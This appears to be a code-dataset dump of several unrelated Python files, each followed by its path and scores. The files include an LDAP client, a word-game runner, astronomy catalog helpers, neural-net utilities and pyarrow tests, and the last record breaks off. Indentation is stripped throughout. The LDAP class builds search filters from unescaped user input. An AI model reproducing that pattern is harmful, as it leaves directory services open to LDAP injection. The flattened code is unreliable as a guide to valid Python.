search_filter = "(uid=" + uids + ")"
else:
search_filter += "(|"
for uid in uids:
search_filter += "(uid=" + uid + ")"
search_filter += ")"
return self.do_search(search_filter, LDAPUser.OBJECT_CLASS)
def get_users_by_group(self, gcns):
search_filter = "(&(objectClass=" + LDAPUser.OBJECT_CLASS + ")"
if not isinstance(gcns, list):
search_filter += "(memberOf=cn=" + gcns + "," + self.base_dn + ")"
else:
search_filter += "(|"
for gcn in gcns:
search_filter += "(memberOf=cn=" + gcn + "," + self.base_dn + ")"
search_filter += ")"
search_filter += ")"
return self.do_search(search_filter, LDAPUser.OBJECT_CLASS)
def get_groups(self, groups=None):
search_filter = "(&(objectClass=" + LDAPGroup.OBJECT_CLASS + ")"
if groups:
for group in groups:
search_filter += "(cn=" + group + ")"
search_filter += ")"
return self.do_search(search_filter, LDAPGroup.OBJECT_CLASS)
def do_search(self, search_filter, ldap_obj_class):
search_scope = ldap.SCOPE_SUBTREE # pylint: disable=no-member
result_set = []
if self.ldap_server is None:
print("No server present, binding to default server")
self.bind_server()
if ldap_obj_class not in [LDAPUser.OBJECT_CLASS, LDAPGroup.OBJECT_CLASS]:
raise LDAPObjectException((
'LDAP Object Class must be %s or %s',
LDAPUser.OBJECT_CLASS,
LDAPGroup.OBJECT_CLASS
))
try:
result_id = self.ldap_server.search(
self.base_dn,
search_scope,
search_filter
)
while 1:
result_type, result_data = self.ldap_server.result(result_id, 0)
if not result_data:
break
else:
if result_type == ldap.RES_SEARCH_ENTRY: # pylint: disable=no-member
if ldap_obj_class == LDAPUser.OBJECT_CLASS:
result_set.append(LDAPUser(**result_data[0][1]))
elif ldap_obj_class == LDAPGroup.OBJECT_CLASS:
result_set.append(LDAPGroup(**result_data[0][1]))
except ldap.LDAPError as error: # pylint: disable=no-member
print_error('LDAP Error: {0}'.format(
error.message['desc'] if 'desc' in error.message else str(error)
))
sys.exit("LDAP Connection failed; exiting")
return result_set
def unbind_server(self):
self.ldap_server.unbind_s()
self.ldap_server = None | src/lpconnector/ldap/server.py | from __future__ import print_function
import sys
import ldap
from .objects import LDAPUser, LDAPGroup, LDAPObjectException
from ..base import print_error
class LDAPServer(object):
def __init__(self, **kwargs):
config = dict(kwargs.get('config'))
self.host = config.get('server')
self.base_dn = config.get('base_dn')
self.user = config.get('binding_user_uid')
self.pwd = <PASSWORD>.<PASSWORD>('binding_user_pwd')
self.ldap_server = None
def bind_server(self):
self.ldap_server = ldap.initialize(self.host) # pylint: disable=no-member
bind_dn = "uid=" + self.user + "," + self.base_dn
bind_pw = self.pwd
try:
self.ldap_server.protocol_version = ldap.VERSION3 # pylint: disable=no-member
self.ldap_server.simple_bind_s(bind_dn, bind_pw)
except ldap.LDAPError as error: # pylint: disable=no-member
print_error('LDAP Error: {0}'.format(
error.message['desc'] if 'desc' in error.message else str(error)
))
sys.exit("LDAP Connection failed; exiting")
return True
def get_all_users(self):
search_filter = "(&(objectClass=" + LDAPUser.OBJECT_CLASS + ")"
if LDAPUser.NON_USER_GROUPS:
search_filter += "(!"
for group in LDAPUser.NON_USER_GROUPS:
search_filter += "(memberOf=cn=" + group + "," + self.base_dn + ")"
search_filter += ")"
search_filter += ")"
return self.do_search(search_filter, LDAPUser.OBJECT_CLASS)
def get_users_by_uid(self, uids):
search_filter = ""
if not isinstance(uids, list):
search_filter = "(uid=" + uids + ")"
else:
search_filter += "(|"
for uid in uids:
search_filter += "(uid=" + uid + ")"
search_filter += ")"
return self.do_search(search_filter, LDAPUser.OBJECT_CLASS)
def get_users_by_group(self, gcns):
search_filter = "(&(objectClass=" + LDAPUser.OBJECT_CLASS + ")"
if not isinstance(gcns, list):
search_filter += "(memberOf=cn=" + gcns + "," + self.base_dn + ")"
else:
search_filter += "(|"
for gcn in gcns:
search_filter += "(memberOf=cn=" + gcn + "," + self.base_dn + ")"
search_filter += ")"
search_filter += ")"
return self.do_search(search_filter, LDAPUser.OBJECT_CLASS)
def get_groups(self, groups=None):
search_filter = "(&(objectClass=" + LDAPGroup.OBJECT_CLASS + ")"
if groups:
for group in groups:
search_filter += "(cn=" + group + ")"
search_filter += ")"
return self.do_search(search_filter, LDAPGroup.OBJECT_CLASS)
def do_search(self, search_filter, ldap_obj_class):
search_scope = ldap.SCOPE_SUBTREE # pylint: disable=no-member
result_set = []
if self.ldap_server is None:
print("No server present, binding to default server")
self.bind_server()
if ldap_obj_class not in [LDAPUser.OBJECT_CLASS, LDAPGroup.OBJECT_CLASS]:
raise LDAPObjectException((
'LDAP Object Class must be %s or %s',
LDAPUser.OBJECT_CLASS,
LDAPGroup.OBJECT_CLASS
))
try:
result_id = self.ldap_server.search(
self.base_dn,
search_scope,
search_filter
)
while 1:
result_type, result_data = self.ldap_server.result(result_id, 0)
if not result_data:
break
else:
if result_type == ldap.RES_SEARCH_ENTRY: # pylint: disable=no-member
if ldap_obj_class == LDAPUser.OBJECT_CLASS:
result_set.append(LDAPUser(**result_data[0][1]))
elif ldap_obj_class == LDAPGroup.OBJECT_CLASS:
result_set.append(LDAPGroup(**result_data[0][1]))
except ldap.LDAPError as error: # pylint: disable=no-member
print_error('LDAP Error: {0}'.format(
error.message['desc'] if 'desc' in error.message else str(error)
))
sys.exit("LDAP Connection failed; exiting")
return result_set
def unbind_server(self):
self.ldap_server.unbind_s()
self.ldap_server = None | 0.273671 | 0.041385 |
import logging
import os
import random
from datetime import datetime
from pathlib import Path
import numpy as np
import pandas as pd
from emoji import emojize
from flask_app.player import LocalDummyPlayer, LocalFasttextPlayer # noqa: F401
from settings import CRITERIA, N_EXPLAIN_WORDS, N_GUESSING_WORDS, VOCAB_PATH
from the_hat_game.game import Game
from the_hat_game.loggers import logger
from the_hat_game.players import PlayerDefinition, RemotePlayer
if __name__ == "__main__":
# uncomment this to get reproducible runs:
# random.seed(0)
logfile = f"logs/game_run_{datetime.now().strftime('%y%m%d_%H%M')}.log"
single_handler = logging.FileHandler(logfile, mode="w")
single_handler.setLevel(logging.DEBUG)
single_handler_format = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s")
single_handler.setFormatter(single_handler_format)
logger.addHandler(single_handler)
WORDS = []
with open(Path(VOCAB_PATH)) as f:
words = f.readlines()
words = [word.strip() for word in words]
WORDS.extend(words)
print(emojize(f":top_hat: Words we will use for the game: {sorted(WORDS)[:10]} and {len(WORDS) - 10} more."))
# define player list manually. Example:
players = [
PlayerDefinition("HerokuOrg", RemotePlayer("https://obscure-everglades-02893.herokuapp.com")),
PlayerDefinition("Local Dummy Junior", LocalDummyPlayer()),
PlayerDefinition("Local Dummy Senior", LocalDummyPlayer()),
]
# shuffle players
np.random.shuffle(players)
# put one word for each team in a hat
# np.random.shuffle(WORDS)
words_in_hat = random.choices(WORDS, k=len(players) * 1)
print(f"Words in hat: {words_in_hat}")
# play the hat game
print("\n\nStarting the new game")
game = Game(
players,
words_in_hat,
CRITERIA,
n_rounds=len(words_in_hat) // len(players),
n_explain_words=N_EXPLAIN_WORDS,
n_guessing_words=N_GUESSING_WORDS,
random_state=0,
)
game_start = pd.Timestamp.now()
game.run(verbose="print_logs", complete=False)
game_end = pd.Timestamp.now()
game.report_results()
print(f"Game started at {game_start}. Game lasted for {game_end - game_start}")
logger.removeHandler(single_handler)
os.remove(logfile) | run_game.py | import logging
import os
import random
from datetime import datetime
from pathlib import Path
import numpy as np
import pandas as pd
from emoji import emojize
from flask_app.player import LocalDummyPlayer, LocalFasttextPlayer # noqa: F401
from settings import CRITERIA, N_EXPLAIN_WORDS, N_GUESSING_WORDS, VOCAB_PATH
from the_hat_game.game import Game
from the_hat_game.loggers import logger
from the_hat_game.players import PlayerDefinition, RemotePlayer
if __name__ == "__main__":
# uncomment this to get reproducible runs:
# random.seed(0)
logfile = f"logs/game_run_{datetime.now().strftime('%y%m%d_%H%M')}.log"
single_handler = logging.FileHandler(logfile, mode="w")
single_handler.setLevel(logging.DEBUG)
single_handler_format = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s")
single_handler.setFormatter(single_handler_format)
logger.addHandler(single_handler)
WORDS = []
with open(Path(VOCAB_PATH)) as f:
words = f.readlines()
words = [word.strip() for word in words]
WORDS.extend(words)
print(emojize(f":top_hat: Words we will use for the game: {sorted(WORDS)[:10]} and {len(WORDS) - 10} more."))
# define player list manually. Example:
players = [
PlayerDefinition("HerokuOrg", RemotePlayer("https://obscure-everglades-02893.herokuapp.com")),
PlayerDefinition("Local Dummy Junior", LocalDummyPlayer()),
PlayerDefinition("Local Dummy Senior", LocalDummyPlayer()),
]
# shuffle players
np.random.shuffle(players)
# put one word for each team in a hat
# np.random.shuffle(WORDS)
words_in_hat = random.choices(WORDS, k=len(players) * 1)
print(f"Words in hat: {words_in_hat}")
# play the hat game
print("\n\nStarting the new game")
game = Game(
players,
words_in_hat,
CRITERIA,
n_rounds=len(words_in_hat) // len(players),
n_explain_words=N_EXPLAIN_WORDS,
n_guessing_words=N_GUESSING_WORDS,
random_state=0,
)
game_start = pd.Timestamp.now()
game.run(verbose="print_logs", complete=False)
game_end = pd.Timestamp.now()
game.report_results()
print(f"Game started at {game_start}. Game lasted for {game_end - game_start}")
logger.removeHandler(single_handler)
os.remove(logfile) | 0.343342 | 0.108614 |
import numpy as np
import matplotlib.pyplot as plt
import time
from astropy.io import fits
from astropy.table import Table,vstack
from astropy.coordinates import SkyCoord # High-level coordinates
from astropy.coordinates import ICRS, Galactic, FK4, FK5 # Low-level frames
from astropy.coordinates import Angle, Latitude, Longitude # Angles
import astropy.units as u
from astroquery.gaia import Gaia
from scipy.ndimage import gaussian_filter, gaussian_gradient_magnitude
from scipy import optimize
import healpy as hp
from astropy.table import Table, hstack, vstack
#Instrument specs
def get_cat_using_healpix(c:SkyCoord, inst, plotflag=False):
vec = hp.ang2vec(np.deg2rad(c.dec.value+90),np.deg2rad(c.ra.value))
ipix_disc = hp.query_disc(nside=64, vec=vec, radius=np.deg2rad(inst.outer_search_radius),inclusive=True)
print(ipix_disc)
if plotflag:
fig,ax = plt.subplots(figsize=(12,12))
ax.set_aspect("equal")
ax.axhline(c.dec.value)
ax.axvline(c.ra.value)
counter=0
for ipix in ipix_disc:
filename = inst.catalog_path + "/Gaia_Healpix_64/{:06d}.fits".format(ipix)
hdul = fits.open(filename)
data= Table(hdul[1].data)
print(filename,len(data))
#data = data.filled()
if plotflag:
ax.plot(data["ra"],data["dec"],".")
if counter==0:
data_combined = data
counter+=1
else:
data_combined = vstack([data_combined, data])
return data_combined
def get_cat_using_healpix2(c:SkyCoord, inst, plotflag=False, verbose=False):
vec = hp.ang2vec(np.deg2rad(-c.dec.value + 90), np.deg2rad(c.ra.value))
ipix_disc = hp.query_disc(nside=64, vec=vec, radius=np.deg2rad(inst.outer_search_radius),inclusive=True,nest=True)
if verbose:
print(ipix_disc)
if plotflag:
fig,ax = plt.subplots(figsize=(12,12))
ax.set_aspect("equal")
ax.axhline(c.dec.value)
ax.axvline(c.ra.value)
counter=0
for ipix in ipix_disc:
filename = inst.catalog_path + "/Gaia_Healpix_6/lvl6_{:06d}.npy".format(ipix)
data = np.load(filename)
#hdul = fits.open(filename)
#data= Table(hdul[1].data)
if verbose: print(filename,len(data))
#data = data.filled()
if plotflag:
ax.plot(data["ra"],data["dec"],".")
if counter==0:
data_combined = data
counter+=1
else:
#data_combined = vstack([data_combined, data])
data_combined = np.concatenate([data_combined, data])
return data_combined
def calc_sn(gmag, inst, n_pix=7*7, sky_flux=10, exp_time=5):
gaia_flux = 10**(-(gmag+inst.zp)/2.5)
background = (sky_flux+inst.dark_current)*exp_time
background_noise = np.sqrt(background+inst.readout_noise**2)
signal = gaia_flux*exp_time
noise = np.sqrt(inst.readout_noise**2+signal+n_pix*background)
sn = signal/noise
return sn | python/skymakercam/catalog.py | import numpy as np
import matplotlib.pyplot as plt
import time
from astropy.io import fits
from astropy.table import Table,vstack
from astropy.coordinates import SkyCoord # High-level coordinates
from astropy.coordinates import ICRS, Galactic, FK4, FK5 # Low-level frames
from astropy.coordinates import Angle, Latitude, Longitude # Angles
import astropy.units as u
from astroquery.gaia import Gaia
from scipy.ndimage import gaussian_filter, gaussian_gradient_magnitude
from scipy import optimize
import healpy as hp
from astropy.table import Table, hstack, vstack
#Instrument specs
def get_cat_using_healpix(c:SkyCoord, inst, plotflag=False):
vec = hp.ang2vec(np.deg2rad(c.dec.value+90),np.deg2rad(c.ra.value))
ipix_disc = hp.query_disc(nside=64, vec=vec, radius=np.deg2rad(inst.outer_search_radius),inclusive=True)
print(ipix_disc)
if plotflag:
fig,ax = plt.subplots(figsize=(12,12))
ax.set_aspect("equal")
ax.axhline(c.dec.value)
ax.axvline(c.ra.value)
counter=0
for ipix in ipix_disc:
filename = inst.catalog_path + "/Gaia_Healpix_64/{:06d}.fits".format(ipix)
hdul = fits.open(filename)
data= Table(hdul[1].data)
print(filename,len(data))
#data = data.filled()
if plotflag:
ax.plot(data["ra"],data["dec"],".")
if counter==0:
data_combined = data
counter+=1
else:
data_combined = vstack([data_combined, data])
return data_combined
def get_cat_using_healpix2(c:SkyCoord, inst, plotflag=False, verbose=False):
vec = hp.ang2vec(np.deg2rad(-c.dec.value + 90), np.deg2rad(c.ra.value))
ipix_disc = hp.query_disc(nside=64, vec=vec, radius=np.deg2rad(inst.outer_search_radius),inclusive=True,nest=True)
if verbose:
print(ipix_disc)
if plotflag:
fig,ax = plt.subplots(figsize=(12,12))
ax.set_aspect("equal")
ax.axhline(c.dec.value)
ax.axvline(c.ra.value)
counter=0
for ipix in ipix_disc:
filename = inst.catalog_path + "/Gaia_Healpix_6/lvl6_{:06d}.npy".format(ipix)
data = np.load(filename)
#hdul = fits.open(filename)
#data= Table(hdul[1].data)
if verbose: print(filename,len(data))
#data = data.filled()
if plotflag:
ax.plot(data["ra"],data["dec"],".")
if counter==0:
data_combined = data
counter+=1
else:
#data_combined = vstack([data_combined, data])
data_combined = np.concatenate([data_combined, data])
return data_combined
def calc_sn(gmag, inst, n_pix=7*7, sky_flux=10, exp_time=5):
gaia_flux = 10**(-(gmag+inst.zp)/2.5)
background = (sky_flux+inst.dark_current)*exp_time
background_noise = np.sqrt(background+inst.readout_noise**2)
signal = gaia_flux*exp_time
noise = np.sqrt(inst.readout_noise**2+signal+n_pix*background)
sn = signal/noise
return sn | 0.381335 | 0.552962 |
import numpy as np
def forward(net, x):
for layer in net:
x = layer.forward(x)
# print('f', layer.name, x.shape)
return x
def backward(net, loss):
grad = loss.backward()
for layer in reversed(net):
grad = layer.backward(grad)
# print('b', layer.name, grad.shape)
def dataloader(inputs, targets, batchsize, shuffle=False):
assert len(inputs) == len(targets)
if shuffle:
indices = np.random.permutation(len(inputs))
for start_idx in range(0, len(inputs) - batchsize + 1, batchsize):
if shuffle:
excerpt = indices[start_idx:start_idx + batchsize]
else:
excerpt = slice(start_idx, start_idx + batchsize)
yield inputs[excerpt], targets[excerpt]
def to_categorical(y, num_classes=None, dtype='float32'):
"""
From https://github.com/keras-team/keras/blob/master/keras/utils/np_utils.py
:param y: input class labels as integers
:param num_classes: how many classes
:param dtype: numpy array data type
:return: A binary matrix representation of the input. The classes axis is placed last.
"""
y = np.array(y, dtype='int')
input_shape = y.shape
if input_shape and input_shape[-1] == 1 and len(input_shape) > 1:
input_shape = tuple(input_shape[:-1])
y = y.ravel()
if not num_classes:
num_classes = np.max(y) + 1
n = y.shape[0]
categorical = np.zeros((n, num_classes), dtype=dtype)
categorical[np.arange(n), y] = 1
output_shape = input_shape + (num_classes,)
categorical = np.reshape(categorical, output_shape)
return categorical
def accuracy(x, y):
"""
Calculates accuracy, simple as that.
:param x: predicted labels
:param y: ground truth labels
:return: accuracy
"""
acc = np.sum(x == y).astype(np.float32) / x.shape[0]
return acc
def set_train(net):
"""
Sets a network to train mode (e.g. enable dropout), works inplace.
:param net: the network to set
:return: None
"""
for layer in net:
layer.training = True
def set_eval(net):
"""
Sets a network to eval mode (e.g. disable dropout), works inplace.
:param net: the network to set
:return: None
"""
for layer in net:
layer.training = False
def check_grad_input(func, inputs, eps=1e-6):
forward = func.forward(inputs)
grad = func.backward(np.ones_like(forward))
num_grad = ... # todo: compute numerical jacobian, multiply by np.ones_like(forward)
print(grad)
print(num_grad)
return np.allclose(grad, num_grad, atol=1e-5, rtol=1e-3), grad, num_grad | nnpy/utils.py | import numpy as np
def forward(net, x):
for layer in net:
x = layer.forward(x)
# print('f', layer.name, x.shape)
return x
def backward(net, loss):
grad = loss.backward()
for layer in reversed(net):
grad = layer.backward(grad)
# print('b', layer.name, grad.shape)
def dataloader(inputs, targets, batchsize, shuffle=False):
assert len(inputs) == len(targets)
if shuffle:
indices = np.random.permutation(len(inputs))
for start_idx in range(0, len(inputs) - batchsize + 1, batchsize):
if shuffle:
excerpt = indices[start_idx:start_idx + batchsize]
else:
excerpt = slice(start_idx, start_idx + batchsize)
yield inputs[excerpt], targets[excerpt]
def to_categorical(y, num_classes=None, dtype='float32'):
"""
From https://github.com/keras-team/keras/blob/master/keras/utils/np_utils.py
:param y: input class labels as integers
:param num_classes: how many classes
:param dtype: numpy array data type
:return: A binary matrix representation of the input. The classes axis is placed last.
"""
y = np.array(y, dtype='int')
input_shape = y.shape
if input_shape and input_shape[-1] == 1 and len(input_shape) > 1:
input_shape = tuple(input_shape[:-1])
y = y.ravel()
if not num_classes:
num_classes = np.max(y) + 1
n = y.shape[0]
categorical = np.zeros((n, num_classes), dtype=dtype)
categorical[np.arange(n), y] = 1
output_shape = input_shape + (num_classes,)
categorical = np.reshape(categorical, output_shape)
return categorical
def accuracy(x, y):
"""
Calculates accuracy, simple as that.
:param x: predicted labels
:param y: ground truth labels
:return: accuracy
"""
acc = np.sum(x == y).astype(np.float32) / x.shape[0]
return acc
def set_train(net):
"""
Sets a network to train mode (e.g. enable dropout), works inplace.
:param net: the network to set
:return: None
"""
for layer in net:
layer.training = True
def set_eval(net):
"""
Sets a network to eval mode (e.g. disable dropout), works inplace.
:param net: the network to set
:return: None
"""
for layer in net:
layer.training = False
def check_grad_input(func, inputs, eps=1e-6):
forward = func.forward(inputs)
grad = func.backward(np.ones_like(forward))
num_grad = ... # todo: compute numerical jacobian, multiply by np.ones_like(forward)
print(grad)
print(num_grad)
return np.allclose(grad, num_grad, atol=1e-5, rtol=1e-3), grad, num_grad | 0.645679 | 0.698888 |
import pytest
import pyarrow as pa
import numpy as np
# XXX: pyarrow.schema.schema masks the module on imports
sch = pa._schema
def test_type_integers():
dtypes = ['int8', 'int16', 'int32', 'int64',
'uint8', 'uint16', 'uint32', 'uint64']
for name in dtypes:
factory = getattr(pa, name)
t = factory()
assert str(t) == name
def test_type_list():
value_type = pa.int32()
list_type = pa.list_(value_type)
assert str(list_type) == 'list<item: int32>'
def test_type_string():
t = pa.string()
assert str(t) == 'string'
def test_type_timestamp_with_tz():
tz = 'America/Los_Angeles'
t = pa.timestamp('ns', tz=tz)
assert t.unit == 'ns'
assert t.tz == tz
def test_type_from_numpy_dtype_timestamps():
cases = [
(np.dtype('datetime64[s]'), pa.timestamp('s')),
(np.dtype('datetime64[ms]'), pa.timestamp('ms')),
(np.dtype('datetime64[us]'), pa.timestamp('us')),
(np.dtype('datetime64[ns]'), pa.timestamp('ns'))
]
for dt, pt in cases:
result = sch.type_from_numpy_dtype(dt)
assert result == pt
def test_field():
t = pa.string()
f = pa.field('foo', t)
assert f.name == 'foo'
assert f.nullable
assert f.type is t
assert repr(f) == "Field('foo', type=string)"
f = pa.field('foo', t, False)
assert not f.nullable
def test_schema():
fields = [
pa.field('foo', pa.int32()),
pa.field('bar', pa.string()),
pa.field('baz', pa.list_(pa.int8()))
]
sch = pa.schema(fields)
assert len(sch) == 3
assert sch[0].name == 'foo'
assert sch[0].type == fields[0].type
assert sch.field_by_name('foo').name == 'foo'
assert sch.field_by_name('foo').type == fields[0].type
assert repr(sch) == """\
foo: int32
bar: string
baz: list<item: int8>"""
def test_field_empty():
f = pa.Field()
with pytest.raises(ReferenceError):
repr(f)
def test_schema_equals():
fields = [
pa.field('foo', pa.int32()),
pa.field('bar', pa.string()),
pa.field('baz', pa.list_(pa.int8()))
]
sch1 = pa.schema(fields)
print(dir(sch1))
sch2 = pa.schema(fields)
assert sch1.equals(sch2)
del fields[-1]
sch3 = pa.schema(fields)
assert not sch1.equals(sch3) | python/pyarrow/tests/test_schema.py |
import pytest
import pyarrow as pa
import numpy as np
# XXX: pyarrow.schema.schema masks the module on imports
sch = pa._schema
def test_type_integers():
dtypes = ['int8', 'int16', 'int32', 'int64',
'uint8', 'uint16', 'uint32', 'uint64']
for name in dtypes:
factory = getattr(pa, name)
t = factory()
assert str(t) == name
def test_type_list():
value_type = pa.int32()
list_type = pa.list_(value_type)
assert str(list_type) == 'list<item: int32>'
def test_type_string():
t = pa.string()
assert str(t) == 'string'
def test_type_timestamp_with_tz():
tz = 'America/Los_Angeles'
t = pa.timestamp('ns', tz=tz)
assert t.unit == 'ns'
assert t.tz == tz
def test_type_from_numpy_dtype_timestamps():
cases = [
(np.dtype('datetime64[s]'), pa.timestamp('s')),
(np.dtype('datetime64[ms]'), pa.timestamp('ms')),
(np.dtype('datetime64[us]'), pa.timestamp('us')),
(np.dtype('datetime64[ns]'), pa.timestamp('ns'))
]
for dt, pt in cases:
result = sch.type_from_numpy_dtype(dt)
assert result == pt
def test_field():
t = pa.string()
f = pa.field('foo', t)
assert f.name == 'foo'
assert f.nullable
assert f.type is t
assert repr(f) == "Field('foo', type=string)"
f = pa.field('foo', t, False)
assert not f.nullable
def test_schema():
fields = [
pa.field('foo', pa.int32()),
pa.field('bar', pa.string()),
pa.field('baz', pa.list_(pa.int8()))
]
sch = pa.schema(fields)
assert len(sch) == 3
assert sch[0].name == 'foo'
assert sch[0].type == fields[0].type
assert sch.field_by_name('foo').name == 'foo'
assert sch.field_by_name('foo').type == fields[0].type
assert repr(sch) == """\
foo: int32
bar: string
baz: list<item: int8>"""
def test_field_empty():
f = pa.Field()
with pytest.raises(ReferenceError):
repr(f)
def test_schema_equals():
fields = [
pa.field('foo', pa.int32()),
pa.field('bar', pa.string()),
pa.field('baz', pa.list_(pa.int8()))
]
sch1 = pa.schema(fields)
print(dir(sch1))
sch2 = pa.schema(fields)
assert sch1.equals(sch2)
del fields[-1]
sch3 = pa.schema(fields)
assert not sch1.equals(sch3) | 0.597138 | 0.533458 |
from __future__ import print_function
import os
import sys
from slipstream.command.CommandBase import CommandBase
from slipstream.HttpClient import HttpClient
import slipstream.util as util
import slipstream.SlipStreamHttpClient as SlipStreamHttpClient
etree = util.importETree()
class MainProgram(CommandBase):
'''Uploads a collection of modules (in XML format) to the server.'''
def __init__(self, argv=None):
self.module = ''
self.endpoint = None
self.force = False
super(MainProgram, self).__init__(argv)
def parse(self):
usage = '''usage: %prog [options] <file> ...'''
self.parser.usage = usage
self.addEndpointOption()
self.parser.add_option('-f', '--force', dest='force',
help='Force execution, ignoring errors',
default=False, action='store_true')
self.options, self.args = self.parser.parse_args()
self._checkArgs()
def _checkArgs(self):
if len(self.args) == 0:
self.usageExit("You must provide at least one file to upload.")
self.force = self.options.force
def _check_file(self, file):
if not os.path.exists(file):
self.usageExit("Unknown filename: " + file)
if not os.path.isfile(file):
self.usageExit("Input is not a file: " + file)
def _read_module_as_xml(self, contents):
try:
return etree.fromstring(contents)
except Exception as ex:
print(str(ex))
if self.verboseLevel:
raise
sys.exit(-1)
def _put(self, url, file, client):
with open(file) as f:
try:
client.put(url, f.read())
except:
if self.force is not True:
raise
def doWork(self):
client = HttpClient()
client.verboseLevel = self.verboseLevel
# read all files once to determine the upload URL for each file
# the URL is used to sort the files into an order that puts
# parents before children
projects = {}
images = {}
deployments = {}
for file in self.args:
self._check_file(file)
with open(file) as f:
contents = f.read()
dom = self._read_module_as_xml(contents)
attrs = SlipStreamHttpClient.DomExtractor.get_attributes(dom)
root_node_name = dom.tag
if root_node_name == 'list':
sys.stderr.write('Cannot update root project\n')
sys.exit(-1)
if not dom.tag in ('imageModule', 'projectModule',
'deploymentModule'):
sys.stderr.write('Invalid xml\n')
sys.exit(-1)
parts = [attrs['parentUri'], attrs['shortName']]
uri = '/' + '/'.join([part.strip('/') for part in parts])
url = self.options.endpoint + uri
if dom.tag == 'projectModule':
projects[url] = file
elif dom.tag == 'imageModule':
images[url] = file
elif dom.tag == 'deploymentModule':
deployments[url] = file
# now actually do the uploads in the correct order
# projects must be done first to get the structure, then
# images, and finally the deployments
for url in sorted(projects):
file = projects[url]
print('Uploading project: %s' % file)
self._put(url, file, client)
for url in sorted(images):
file = images[url]
print('Uploading image: %s' % file)
self._put(url, file, client)
for url in sorted(deployments):
file = deployments[url]
print('Uploading deployment: %s' % file)
self._put(url, file, client)
if __name__ == "__main__":
try:
MainProgram()
except KeyboardInterrupt:
print('\n\nExecution interrupted by the user... goodbye!')
sys.exit(-1) | client/src/main/python/ss-module-upload.py | from __future__ import print_function
import os
import sys
from slipstream.command.CommandBase import CommandBase
from slipstream.HttpClient import HttpClient
import slipstream.util as util
import slipstream.SlipStreamHttpClient as SlipStreamHttpClient
etree = util.importETree()
class MainProgram(CommandBase):
'''Uploads a collection of modules (in XML format) to the server.'''
def __init__(self, argv=None):
self.module = ''
self.endpoint = None
self.force = False
super(MainProgram, self).__init__(argv)
def parse(self):
usage = '''usage: %prog [options] <file> ...'''
self.parser.usage = usage
self.addEndpointOption()
self.parser.add_option('-f', '--force', dest='force',
help='Force execution, ignoring errors',
default=False, action='store_true')
self.options, self.args = self.parser.parse_args()
self._checkArgs()
def _checkArgs(self):
if len(self.args) == 0:
self.usageExit("You must provide at least one file to upload.")
self.force = self.options.force
def _check_file(self, file):
if not os.path.exists(file):
self.usageExit("Unknown filename: " + file)
if not os.path.isfile(file):
self.usageExit("Input is not a file: " + file)
def _read_module_as_xml(self, contents):
try:
return etree.fromstring(contents)
except Exception as ex:
print(str(ex))
if self.verboseLevel:
raise
sys.exit(-1)
def _put(self, url, file, client):
with open(file) as f:
try:
client.put(url, f.read())
except:
if self.force is not True:
raise
def doWork(self):
client = HttpClient()
client.verboseLevel = self.verboseLevel
# read all files once to determine the upload URL for each file
# the URL is used to sort the files into an order that puts
# parents before children
projects = {}
images = {}
deployments = {}
for file in self.args:
self._check_file(file)
with open(file) as f:
contents = f.read()
dom = self._read_module_as_xml(contents)
attrs = SlipStreamHttpClient.DomExtractor.get_attributes(dom)
root_node_name = dom.tag
if root_node_name == 'list':
sys.stderr.write('Cannot update root project\n')
sys.exit(-1)
if not dom.tag in ('imageModule', 'projectModule',
'deploymentModule'):
sys.stderr.write('Invalid xml\n')
sys.exit(-1)
parts = [attrs['parentUri'], attrs['shortName']]
uri = '/' + '/'.join([part.strip('/') for part in parts])
url = self.options.endpoint + uri
if dom.tag == 'projectModule':
projects[url] = file
elif dom.tag == 'imageModule':
images[url] = file
elif dom.tag == 'deploymentModule':
deployments[url] = file
# now actually do the uploads in the correct order
# projects must be done first to get the structure, then
# images, and finally the deployments
for url in sorted(projects):
file = projects[url]
print('Uploading project: %s' % file)
self._put(url, file, client)
for url in sorted(images):
file = images[url]
print('Uploading image: %s' % file)
self._put(url, file, client)
for url in sorted(deployments):
file = deployments[url]
print('Uploading deployment: %s' % file)
self._put(url, file, client)
if __name__ == "__main__":
try:
MainProgram()
except KeyboardInterrupt:
print('\n\nExecution interrupted by the user... goodbye!')
sys.exit(-1) | 0.275519 | 0.089494 |
import cv2 as cv
import math
import argparse
import numpy as np
import time
parser = argparse.ArgumentParser(description='Use this script to run text detection deep learning networks using OpenCV.')
# Input argument
parser.add_argument('--input', help='Path to input image or video file. Skip this argument to capture frames from a camera.')
# Model argument
parser.add_argument('--model', default="frozen_east_text_detection.pb",
help='Path to a binary .pb file of model contains trained weights.'
)
# Width argument
parser.add_argument('--width', type=int, default=320,
help='Preprocess input image by resizing to a specific width. It should be multiple by 32.'
)
# Height argument
parser.add_argument('--height',type=int, default=320,
help='Preprocess input image by resizing to a specific height. It should be multiple by 32.'
)
# Confidence threshold
parser.add_argument('--thr',type=float, default=0.999,
help='Confidence threshold.'
)
args = parser.parse_args()
def classify( input_file,net,confThreshold,inpWidth,inpHeight):
outputLayers = []
outputLayers.append("feature_fusion/Conv_7/Sigmoid")
outputLayers.append("feature_fusion/concat_3")
frame=cv.imread(input_file)
if frame.ndim==3:
# Create a 4D blob from frame.
blob = cv.dnn.blobFromImage(frame, 1.0, (inpWidth, inpHeight), (123.68, 116.78, 103.94), True, False)
# Run the model
net.setInput(blob)
scores = net.forward(outputLayers)[0]
if np.max(scores)>confThreshold:
return True
else:
return False
if __name__ == "__main__":
# Read and store arguments
confThreshold = args.thr
inpWidth = args.width
inpHeight = args.height
input_file=args.input
model = args.model
net = cv.dnn.readNet(model)
start=time.time()
print(classify(input_file,net,confThreshold,inpHeight,inpWidth)) | text_classify.py | import cv2 as cv
import math
import argparse
import numpy as np
import time
parser = argparse.ArgumentParser(description='Use this script to run text detection deep learning networks using OpenCV.')
# Input argument
parser.add_argument('--input', help='Path to input image or video file. Skip this argument to capture frames from a camera.')
# Model argument
parser.add_argument('--model', default="frozen_east_text_detection.pb",
help='Path to a binary .pb file of model contains trained weights.'
)
# Width argument
parser.add_argument('--width', type=int, default=320,
help='Preprocess input image by resizing to a specific width. It should be multiple by 32.'
)
# Height argument
parser.add_argument('--height',type=int, default=320,
help='Preprocess input image by resizing to a specific height. It should be multiple by 32.'
)
# Confidence threshold
parser.add_argument('--thr',type=float, default=0.999,
help='Confidence threshold.'
)
args = parser.parse_args()
def classify( input_file,net,confThreshold,inpWidth,inpHeight):
outputLayers = []
outputLayers.append("feature_fusion/Conv_7/Sigmoid")
outputLayers.append("feature_fusion/concat_3")
frame=cv.imread(input_file)
if frame.ndim==3:
# Create a 4D blob from frame.
